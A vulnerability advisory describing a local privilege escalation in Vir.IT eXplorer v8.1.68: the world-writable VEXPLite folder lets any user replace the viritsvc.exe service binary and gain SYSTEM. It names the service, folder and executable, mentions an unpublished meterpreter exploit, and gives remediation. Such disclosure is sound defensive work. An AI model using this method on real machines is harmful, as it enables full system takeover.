VirIT Explorer Lite & Pro v.8.1.68 Local Privilege Escalation (SYSTEM
Privilege)/Arbitrary Code Execution
- Author: Paolo Stagno
Overview
=========
Vir.IT eXplorer [1] is an AntiVirus, AntiSpyware and AntiMalware
software made in Italy and developed by TG Soft S.a.s.
A major flaws exists in the last version of Vir.IT eXplorer, this
vulnerability allow a local attacker,
to execute arbitrary code in the context of the application with SYSTEM
privilege.
Details
==========
The flaw resides in the viritsvclite Service due to bad privileges for
the main Vir.IT folder, by default, any user (even guest) will be able to
replace, modify or alter the file. This would allow an attacker to
inject code or replace the executable and have it run in the context
of the system.
This would allow a complete compromise of the system on which the
antivirus was installed; an attacker can replace the executable, reboot
the system and it would then compromise the machine. As NT
AUTHORITY\SYSTEM is the highest privilege level on a Windows machine,
this allows a total control and access to the system.
Services: viritsvclite
Folder: %SYSTEMDRIVE%\VEXPLite
Executable: %SYSTEMDRIVE%\VEXPLite\viritsvc.exe

With this flaws in mind I wrote the exploit which is able to obtain NT
AUTHORITY\SYSTEM via a meterpreter shell.

Remediation
==========
Remove the permissions on the VEXPLite folder, all of its files and on
the viritsvc.exe Service executables to allow only
privileged users to alter the files, apply vendor patch once distributed.
